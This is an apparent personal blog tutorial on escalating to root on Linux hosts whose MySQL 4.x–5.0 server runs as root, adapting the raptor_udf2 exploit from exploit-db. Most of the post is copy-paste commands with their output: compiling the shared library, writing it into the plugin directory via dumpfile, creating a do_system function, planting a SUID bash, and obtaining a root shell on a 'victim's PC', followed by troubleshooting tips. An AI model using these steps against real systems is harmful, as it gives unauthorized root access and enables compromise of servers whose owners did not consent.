MySQL root account privilege escalation via User Defined Functions (UDF)

Hi everyone! Today’s post is on privilege escalation (PE) when MySQL is running at root as well as the version of MySQL ranges from 4.x to 5.x.

The exploit link is here: https://www.exploit-db.com/exploits/1518

However, the exploit is only a PoC which shows it is running the command execution as root. Besides that, the directory used cannot be directly copied and pasted. Hence, changes needed to be made.

1. Check the version

Make sure it is within version 4.x to 5.0.x.

$ mysql -u root -p
Enter password:
[...]
mysql> SELECT VERSION();
+-----------+
| VERSION() |
+-----------+
| 5.0.77    | 
+-----------+
1 row in set (0.00 sec)

mysql> quit
Bye
$

2. Ensure MySQL is running as root

$ ps aux
...
root     1002  0.0  4.6 623904 48104 ?        Sl   Sep13   0:14 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
...

3. Obtain the exploit source code

To begin, download the exploit and save it as raptor_udf.c. Transfer to the victim’s PC’s /tmp directory for compilation and execution.

Link here: https://www.exploit-db.com/exploits/1518

4. Privilege escalate to root shell

$ cd /tmp
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
$ mysql -u root -p
Enter password:
[...]
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/var/www/html/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
 * | name      | ret | dl             | type     |
 * +-----------+-----+----------------+----------+
 * | do_system |   2 | raptor_udf2.so | function |
 * +-----------+-----+----------------+----------+
mysql> select do_system('cp /bin/bash /tmp/bash; chmod u+s /tmp/bash');
+----------------------------------------------------------+
| do_system('cp /bin/bash /tmp/bash; chmod u+s /tmp/bash') |
+----------------------------------------------------------+
|                                               4294967296 | 
+----------------------------------------------------------+
1 row in set (0.02 sec)

mysql> \! sh
sh-3.2$ ls -l /tmp
total 744
-rwsr-x--x 1 root root 735004 Sep 11 13:12 bash
-rw-rw-r-- 1 j0hn j0hn   3286 Sep 11 11:34 raptor_udf2.c
-rw-rw-r-- 1 j0hn j0hn   3286 Sep 11 11:34 raptor_udf2.c.1
-rw-rw-r-- 1 j0hn j0hn   3140 Sep 11 13:12 raptor_udf2.o
-rwxrwxr-x 1 j0hn j0hn   6045 Sep 11 13:12 raptor_udf2.so
sh-3.2$ /tmp/bash -p
bash-3.2# id
uid=500(j0hn) gid=500(j0hn) euid=0(root) groups=500(j0hn)
bash-3.2#

5. Troubleshooting

While section 4 allows you to copy-paste, sometimes it doesn’t work. This is because of some restrictions in the file system. Hence we will be looking at two common issues and the solutions to them.

5.1 /tmp folder alternative

In some file systems, root and other users like www-data have different /tmp folders. If we transfer raptor_udf2.so to /tmp, MySQL running as root cannot find it. If we do the step below by loading values into foo table, if the table is empty, it means the root cannot read raptor_udf2.so from the location.

mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));
mysql> select * FROM foo;
+------+
| line |
+------+
| NULL |
+------+
1 row in set (0.00 sec)

Solution:

We can use other directories such as /var/www. Note that if root has a different /tmp folder as users, we will need to put bash or sh shell in other directories before chmod it to SUID.

5.2 Dumpfile location

The dumpfile location always varies depending on the configuration. The easiest way is to follow the original steps and see the error, change the dumpfile location, and it will work. Below shows an example of an error and we have to change the dumpfile location based on the error to “/usr/lib/mysql/plugin/raptor_udf2.so”.

mysql> select * from foo into dumpfile '/var/www/html/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
ERROR 1126 (HY000): Can't open shared library 'raptor_udf2.so' (errno: 11 /usr/lib/mysql/plugin/raptor_udf2.so: cannot open shared object file: No such file or directory)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';

I hope these tabs have been helpful to you. Feel free to leave any comments below. If you like my content, do follow me via email. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.